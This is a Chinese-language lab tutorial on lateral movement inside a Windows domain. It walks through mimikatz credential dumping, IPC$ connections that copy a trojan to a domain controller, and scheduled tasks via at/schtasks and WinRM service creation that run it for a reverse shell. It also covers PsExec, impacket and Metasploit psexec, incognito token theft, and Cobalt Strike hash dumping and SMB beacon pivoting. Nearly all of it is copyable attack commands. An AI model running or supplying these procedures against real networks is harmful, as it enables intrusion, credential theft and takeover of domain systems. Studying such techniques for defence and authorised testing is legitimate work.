内网横向移动
当攻击者在拿下一台内网主机后,通常会利用当前拿下的机器当作跳板,进一步攻击 内网其他主机,扩大攻击影响范围。
攻击机:Kali Linux
靶机: Windows server 2008 WEB 10.10.10.20\192.168.XX.XX(跳板机)
Windows server 2012 DC 10.10.10.10\192.168.XX.XX
获得WEB shell后,获取所有账号密码
load kiwi #mimikatz
getsystem 提升权限
creds_all 获取所有帐户密码
#将目标主机账号密码复制下来备用
IPC$简介
IPC$ (Internet Process Connection) 是共享"命名管道"的资源,它是为了让进程间 通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的 通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
利用 IPC$ ,连接者与目标主机利用建立的连接可以得到目标主机上的目录结构、用 户列表等信息。
使用条件
1.开放了 139 、 445 端口;
IPC$ 连接可以实现远程登陆及对默认共享的访问,而 139 端口的开启表示 netbios 协议的应用。
我们可以通过 139 和 445 端口来实现对共享文件/打印机的访问,因此一般来讲, IPC$ 连接是需要 139 或 445 端口来支持的。
IPC$ 连接默认会走 445 端口,不通的话则会走 139 端口,这两个端口都可以单独实 现文件共享
2.目标开启 IPC$ 文件共享服务及默认共享
默认共享是为了方便管理员远程管理而默认开启的共享。
所有逻辑磁盘( c$、d$、e$ ...)和系统目录 WINNT 或 WINDOWS(ADMIN$) ,通过 IPC连接可以实现对这些默认共享的访问
net share
3.需要目标机器的管理员账号和密码
默认情况下只有被添加到远程计算机管理员组的域用户(域管用户)有权限对 admin$ 目录建立 IPC 连接
本地的 Administrator 用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用 Administrator 用户远程连接
常用命令
1. 连接
net use \\10.10.10.10\ipc$ /user:web\administrator "admin@123"
2. 查看连接情况
net use
3. 查看目标主机时间
net time \\10.10.10.10
4. 删除连接
net use \\10.10.10.10\ipc$ /del
net use * /del /y #删除所有连接
5. 文件上传下载
copy shell.exe \\10.10.10.10\c$\windows\temp\xxx.exe
copy \\10.10.10.10\c$\xxx.exe c:\ #从目标机器下载到本地
6. 查看目标主机文件
dir \\10.10.10.10\c$
7. 开放/关闭 ipc$ 共享
net share ipc$
net share ipc$ /del
8. 共享计算机 C 盘
net share C=c:\
9. 映射共享磁盘到本地
net use z: \\10.10.10.10\c$ /user:administrator "xxxxxxxxx"
10. 查看/删除共享的资源
net share
net share C /del
11. 取消IPC远程连接
net use c: /del
net use * /del /y
#建议手打命令
IPC$连接失败常见错误号
错误号 5,拒绝访问 【很可能你使用的用户不是管理员权 限,先提升权限】
错误号 51,Windows 无法找到网络路径 【网络有问题】
错误号 53,找不到网络路径 【ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤)】
错误号 67,找不到网络名 【你的 lanmanworkstation服务未启动;目标删除了 ipc$;】
错误号 1219,提供的凭据与已存在的凭据集冲突 【你已经和对方建立了一个 ipc$,请删除后再连】
错误号 1326,未知的用户名或错误密码 【用户名或密码错误】
错误号 1385,登录失败:未授予用户在此计算机上的请求登录类型
错误号 1792,试图登录,但是网络登录服务没有启动 【目标NetLogon服务未 启动[连接域控会出现此情况]】
错误号 2242,此用户的密码已经过期 【目标有帐号策略,强 制定期要求更改密码】
IPC+AT+Schtasks
AT简介
AT命令可在指定时间和日期、在指定计算机上运行命令和程序
#Windows2012以下系统可使用at命令
net use \\10.10.10.10\C$ /user:starry\administrator "admin@123"
copy c:\\dc.exe \\10.10.10.10\c$\windows\temp\6888.exe #下载木马
查看远程主机时间:net time \\10.10.10.10
AT命令添加任务:at \\10.10.10.10 10:10 c:\6888.exe
AT命令删除任务:at \\10.10.10.10 1 /delete
AT命令查看任务:at \\10.10.10.10 #查看at任务列表,已经执行了的,不会显示
Schtasks简介
由于 AT 在 windows server 2012 等新版系统中已被弃用,所以需要使用 schtasks 命令代替
允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务
请参考:Windows使用SCHTASKS 命令执行定时任务_刘李404not found的博客-CSDN博客
创建任务
schtasks /create /tn task /U 域\域用户 /P 域用户密码 /tr 命令 /sc ONSTART /s 域机器ip /RU system
运行任务
schtasks /run /tn task /s 192.168.10.2 /U 域/域用户 /P 域用户密码
删除任务
schtasks /F /delete /tn task /s 域机器ip /U 域\域用户 /p 域用户密 码
schtasks /create 创建新的计划任务。
/sc schedule 指定计划类型。有效值为 MINUTE、HOURLY、 DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。
/mo modifier 指定任务在其计划类型内的运行频率。这个参数 对于 MONTHLY 计划是必需的。
对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。 /tr 指定任务运行的程序或命令。如果忽略该路径, SchTasks.exe 将假定文件在 Systemroot\System32 目录下。
/tn 指定任务的名称。
建立IPC连接
net use \\10.10.10.10\ipc$ "admin@123" /user:administrator #连接DC主机
上传木马
dir \\10.10.10.10\c$
copy c:\6888.exe \\10.10.10.10\c$
远程主机创建定时任务
schtasks /create /s 10.10.10.10 /u "dc\administrator" /p "admin@123" /sc MINUTE /mo 1 /tn task /tr "c:\\6888.exe" #复制命令可能报错!建议手打命令
一分钟后,反弹shell
查看远程主机创建的定时任务
chcp 65001 #不更改代码页编码,直接查看可能会报错
schtasks /query /s 10.10.10.10 /tn task #查看定时任务
Schtasks运行远程主机上的计划任务
schtasks /run /s 10.10.10.10 /u administrator /p "admin@123" /tn task
Schtasks删除远程主机上的计划任务
schtasks /delete /tn task /s 10.10.10.10 /u dc\administrator /p admin@123
WinRM
WinRM 指的是Windows远程管理服务,通过远程连接winRM模块可以操作 windows命令行,默认监听端口5985(HTTP)和5986 (HTTPS),在2012及以后默认开启
开启WinRM
判断本机是否开启WinRM服务
winrm enumerate winrm/config/listener
查看远程主机是否开启WinRM服务:
serverscan.exe -h 10.10.10.10 -p 5985,5986
nmap -A sV 192.168.1.6 -p 5985,5986
命令开启WinRM服务
winrm quickconfig
允许远程主机访问及访问远程主机
WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问
winrm set winrm/config/client @{TrustedHosts="*"} #允许所有主机访问
Winrs执行命令
winrs -r:http://10.10.10.10:5985 -u:administrator -p:admin@123 ipconfig #建议手打命令
winrs -r:http://10.10.10.10:5985 -u:administrator -p:admin@123 "cmd.exe"
WinRM横向移动
利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。
winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"}
命令调用了Windows WMI中Win32_process类的Create方法,生成了一个 calc.exe的新进程
在远程机器上打开进程
winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} -r:http://10.10.10.10:5985 - u:administrator -p:admin@123
在远程机器上创建服务
winrm invoke Create wmicimv2/Win32_Service @{Name="task";DisplayName="test";PathName="cmd.exe /k c:\6888.exe"} -r:http://10.10.10.10:5985 -u:administrator - p:admin@123
在远程机器上启动服务
winrm invoke StartService wmicimv2/Win32_Service?Name=task -r:http://10.10.10.10:5985 -u:administrator -p:admin@123
MSF启动侦听,反弹shell
横向移动-外部工具
Psexec
PsExec是一种轻巧的telnet替代品,可让您在其他系统上执行进程,并为控制台应用 程序提供完整的交互性,而无需手动安装客户端软件。
Psexec原理
1. ipc$ 连接,释放 Psexesvc.exe
2. 通过服务管理 OpenSCManager 打开受害者机器上服务控制管理器的句柄
3. 通过 CreateService 创建服务
4. 获取服务句柄 OpenService 使用 StartService 启动服务
Psexec使用前提
1. 对方主机开启了 admin$ 共享,如果关闭了 admin$ 共享,会提示:找不到网络名
2. 对方未开启防火墙
3. 如果是工作组环境,则必须使用 administrator 用户连接(因为要在目标主机 上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户) 登录都会提示访问拒绝访问。
4. 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域 主机可以用普通域用户,连接域控只能用域管理员账户。
PsExec.exe使用
微软官方工具包
PsExec - Sysinternals | Microsoft Learn
IPC连接
net use \\10.10.10.10\ipc$ /user:administrator "admin@123"
建立IPC连接,无需输入密码
反弹cmd:
PsExec64.exe \\10.10.10.10 -s cmd.exe -accepteula
无法启动服务,执行命令没有回显,但是可以运行木马上线。
在WEB主机上可以运行命令
Psexec.py
impacket 套件中的 Psexec 与官方 psexec.exe 相比会自动删除服务,增加隐蔽性.
下载地址:
https://github.com/SecureAuthCorp/impacket
psexec.py starry/administrator:admin@123@10.10.10.10
Psexec.exe
目标机器没有python环境,所以把 .py文件打包成 .exe文件
下载地址:
https://github.com/maaaaz/impacket-examples-windows
psexec.exe starry/administrator:admin@123@10.10.10.10 whoami
Metasploit
Psexec
use exploit/windows/smb/psexec
set RHOSTS 10.10.10.10
set SMBDomain starry
set smbuser administrator
set smbpass admin@123
exploit
Token窃取
Windows有两种类型的Token:
Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程 桌面登录) Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)
两种token只在系统重启后清除
具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效
Metasploit
在Metasploit中,可使用incognito实现token窃取,Metasploit中的 incognito,是从windows平台下的incognito移植过来的
# 加载incognito模块
load incognito
# 列举token
list_tokens -u
# 查看当前token
getuid
# 提示至system权限
getsystem
# token窃取
impersonate_token "NT AUTHORITY\\SYSTEM"
# 从进程窃取token
steal_token 1208
# 返回之前token
rev2self | drop_token
Cobaltstrike
跳板机:Windows 7 旗舰版
内网机器:Windows server2008、Windows server 2012
跳板机提升权限
利用ms14-058漏洞
凭证获取
hashdump #获取hash
logonpasswords #获取明文密码
扫描存活主机
PortScan扫描存活主机 #没有扫描结果
Net View 网络视图
结果如下:
Psexec
由于DC不出网,需要添加正向监听
选择Beacon SMB,点击保存
选择DC右击,选择psexec
Domain:域名
Listener:选择刚才生成的Beacon SMB
session:选择web主机
点击Launch
##前提是知道目标主机密码!!!
上线成功
...